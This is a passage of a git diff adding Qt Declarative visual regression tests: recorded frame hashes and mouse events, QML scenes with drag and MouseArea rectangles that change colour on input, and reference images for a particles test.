"194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11456 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11472 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11488 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11504 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11520 + image: "mouseregion.11.png" + } + Frame { + msec: 11536 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11552 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11568 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11584 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11600 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11616 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11632 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11648 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11664 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11680 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11696 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11712 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 2 + button: 2 + buttons: 2 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 11728 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11744 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11760 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11776 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11792 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11808 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11824 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 2 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 11840 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11856 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11872 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11888 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11904 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11920 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11936 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11952 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11968 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11984 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12000 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12016 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12032 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12048 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 4 + button: 2 + buttons: 2 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12064 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12080 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12096 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12112 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12128 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12144 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12160 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12176 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12192 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12208 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 2 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12224 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12240 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12256 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12272 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12288 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12304 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12320 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12336 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12352 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12368 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12384 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12400 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12416 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12432 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12448 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 2 + button: 2 + buttons: 3 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12464 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12480 + image: "mouseregion.12.png" + } + Frame { + msec: 12496 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12512 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12528 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 2 + buttons: 1 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12544 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12560 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12576 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12592 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12608 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12624 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12640 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12656 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12672 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12688 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12704 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12720 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12736 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12752 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12768 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12784 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12800 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12816 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12832 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12848 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12864 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12880 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12896 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12912 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12928 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12944 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12960 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 12976 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 12992 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13008 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13024 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13040 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13056 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 13072 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13088 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 13104 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13120 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13136 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13152 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13168 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13184 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 13200 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13216 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13232 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13248 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13264 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13280 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13296 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 13312 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13328 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13344 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13360 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13376 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 13392 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13408 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13424 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13440 + image: "mouseregion.13.png" + } + Frame { + msec: 13456 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13472 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13488 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13504 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13520 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13536 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13552 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13568 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13584 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13600 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13616 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13632 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 2 + button: 2 + buttons: 2 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 13648 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13664 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13680 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13696 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13712 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 2 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 13728 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13744 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13760 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13776 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13792 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13808 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 4 + button: 2 + buttons: 2 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 13824 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13840 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13856 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13872 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13888 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13904 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 2 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 13920 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13936 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13952 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13968 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 13984 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14000 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14016 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14032 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14048 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14064 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14080 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14096 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14112 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14128 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14144 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14160 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14176 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 141; y: 70 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 148; y: 68 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 14192 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 152; y: 68 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 158; y: 68 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 14208 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 164; y: 68 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 14224 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 171; y: 66 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 187; y: 62 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 205; y: 60 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 14240 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 223; y: 56 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 14256 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 239; y: 52 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 255; y: 46 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 14272 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 269; y: 40 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 285; y: 34 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 14288 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 299; y: 28 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 313; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 14304 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 320; y: 18 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 326; y: 15 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 14320 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 340; y: 7 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 14336 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14352 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14368 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14384 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14400 + image: "mouseregion.14.png" + } + Frame { + msec: 14416 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14432 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14448 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14464 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14480 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14496 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14512 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14528 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14544 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14560 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14576 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14592 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14608 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14624 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14640 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14656 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14672 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14688 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14704 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14720 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14736 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14752 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14768 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14784 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14800 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14816 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14832 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14848 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14864 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14880 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14896 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14912 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 14928 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/drag.qml b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/drag.qml new file mode 100644 index 0000000..dbb2a24 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/drag.qml @@ -0,0 +1,21 @@ +import Qt 4.6 + +Rectangle{ + width:400 + height:440 + color: "white" + Rectangle{ + id: draggable + width:40; height:40; color: "lightsteelblue" + y:20 + MouseArea{ + anchors.fill: parent + drag.target: draggable + drag.axis: "XandYAxis" + drag.minimumX: 0 + drag.maximumX: 360 + drag.minimumY: 20 + drag.maximumY: 400 + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/mouseregion.qml b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/mouseregion.qml new file mode 100644 index 0000000..3c722d0 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/mouseregion.qml @@ -0,0 +1,124 @@ +import Qt 4.6 + +Rectangle { + id: root + width: 400 + height: 100 + + // Left click on me + Rectangle { + width: 98; height: 48 + color: "red" + MouseArea { + id: mr1 + anchors.fill: parent + enabled: false + onClicked: { parent.color = "blue"; root.error = "mr1 should ignore presses"; } + } + } + + // Left click, then right click + Rectangle { + x: 100 + width: 98; height: 48 + color: "red" + MouseArea { + id: mr2 + anchors.fill: parent + acceptedButtons: Qt.RightButton + onClicked: { + if (mouse.button == Qt.RightButton) { + parent.color = "blue"; + } else { + parent.color = "green"; + root.error = "mr1 should ignore presses"; + } + } + } + } + + // press and hold me + Rectangle { + x: 200 + width: 98; height: 48 + color: "red" + MouseArea { + id: mr3 + anchors.fill: parent + onPressAndHold: { + parent.color = "blue"; + } + } + } + + // click me + Rectangle { + x: 300 + width: 98; height: 48 + color: "red" + MouseArea { + id: mr4 + anchors.fill: parent + onPressed: { + parent.color = "blue"; + } + onReleased: { + parent.color = "red"; + } + } + } + + // move into and out of me + Rectangle { + x: 0 + y: 50 + width: 98; height: 48 + color: "red" + MouseArea { + id: mr5 + anchors.fill: parent + hoverEnabled: true + onEntered: { + parent.color = "blue"; + } + onExited: { + parent.color = "green"; + } + } + } + + // click, then double click me + Rectangle { + x: 100 + y: 50 + width: 98; height: 48 + color: "red" + MouseArea { + id: mr6 + anchors.fill: parent + onClicked: { + parent.color = "blue"; + } + onDoubleClicked: { + parent.color = "green"; + } + } + } + + // click, then double click me - nothing should happen + Rectangle { + x: 100 + y: 50 + width: 98; height: 48 + color: "red" + MouseArea { + id: mr7 + anchors.fill: parent + enabled: false + onClicked: { parent.color = "blue" } + onPressed: { parent.color = "yellow" } + onReleased: { parent.color = "cyan" } + onDoubleClicked: { parent.color = "green" } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.0.png new file mode 100644 index 0000000..7321d95 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.1.png new file mode 100644 index 0000000..49d2a5a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.2.png new file mode 100644 index 0000000..6fe14b7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.qml b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.qml new file mode 100644 index 0000000..d766dc6 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.qml @@ -0,0 +1,775 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "b4df49cbd7cf972af9879399808f6c53" + } + Frame { + msec: 32 + hash: "43c0ad5826e8058260951f063f0851ab" + } + Frame { + msec: 48 + hash: "55eb2c9939514338e7ef58c9276fc223" + } + Frame { + msec: 64 + hash: "6a1bbb91bf450547d6100b6e61a98f6d" + } + Frame { + msec: 80 + hash: "bdb9b8cab70c72d99aba830eb8e8913b" + } + Frame { + msec: 96 + hash: "71a0e046bc68183b830df9dafd8fa147" + } + Frame { + msec: 112 + hash: "e7228e0ed77e05c661282c2d2fe88b3e" + } + Frame { + msec: 128 + hash: "93a4c3e501b05844f687a2dd1754aad2" + } + Frame { + msec: 144 + hash: "1856ac86313c16bf4874130d9a48ff45" + } + Frame { + msec: 160 + hash: "3637d8dad4f44c938f91b0800bd9fb2f" + } + Frame { + msec: 176 + hash: "c5ace4ede38d29363d69c6b4b2f9349f" + } + Frame { + msec: 192 + hash: "a5d832d02f4a635052817654df90caba" + } + Frame { + msec: 208 + hash: "9ebf8bea8abe7ac209d47214a87f8fc0" + } + Frame { + msec: 224 + hash: "35b8f5cb18284867be8d27d601394a2b" + } + Frame { + msec: 240 + hash: "a2c4a6063f219af6f2b29b2d21a4265d" + } + Frame { + msec: 256 + hash: "27f25ace7b8e93c55638ed99f49b821c" + } + Frame { + msec: 272 + hash: "4f6511bfbbd8113195a7597eb6dfb219" + } + Frame { + msec: 288 + hash: "6a696159cdbb51a67064c600124535d1" + } + Frame { + msec: 304 + hash: "6cd667eb352256dbb728532634e7ffd0" + } + Frame { + msec: 320 + hash: "28fa16c8936bf86a8426ded306aa2b8c" + } + Frame { + msec: 336 + hash: "061fecdb88733e3e51c5823571bc4d19" + } + Frame { + msec: 352 + hash: "f64530f638b3d18d56593e0b7c884f5d" + } + Frame { + msec: 368 + hash: "8530cf40739890dc7401fad65a6325bf" + } + Frame { + msec: 384 + hash: "0abc555552e7256dbc424b2eac5c95f2" + } + Frame { + msec: 400 + hash: "64aeae59a8c958dfc62d92636b2f5217" + } + Frame { + msec: 416 + hash: "3e0f50f5bee017220b129d06b2acde2c" + } + Frame { + msec: 432 + hash: "e676c01ff2e35bdfe674be67d49945b1" + } + Frame { + msec: 448 + hash: "bc060b480aab94fd440fd27f5beb7383" + } + Frame { + msec: 464 + hash: "79c79f723de72315e63da8a7cbe1b425" + } + Frame { + msec: 480 + hash: "7bf93c2697af75d0f862a47d57cd6a7f" + } + Frame { + msec: 496 + hash: "7641b9e233f4aabd99bcd985ce1d51ae" + } + Frame { + msec: 512 + hash: "b596a28cb67617d37408bd25d947d088" + } + Frame { + msec: 528 + hash: "f2c5cdf15c27b05c0ea97675ddc41757" + } + Frame { + msec: 544 + hash: "eae5eb8c41a1d6d75446618518490f20" + } + Frame { + msec: 560 + hash: "0be5e9a6d857fe1a262524801c69490d" + } + Frame { + msec: 576 + hash: "65478b8c4d932c10924f70462a662254" + } + Frame { + msec: 592 + hash: "7b034f3c98e8eb38eec11cf3c2aa0804" + } + Frame { + msec: 608 + hash: "5bbc8eed41500ccbc820cfb38794232f" + } + Frame { + 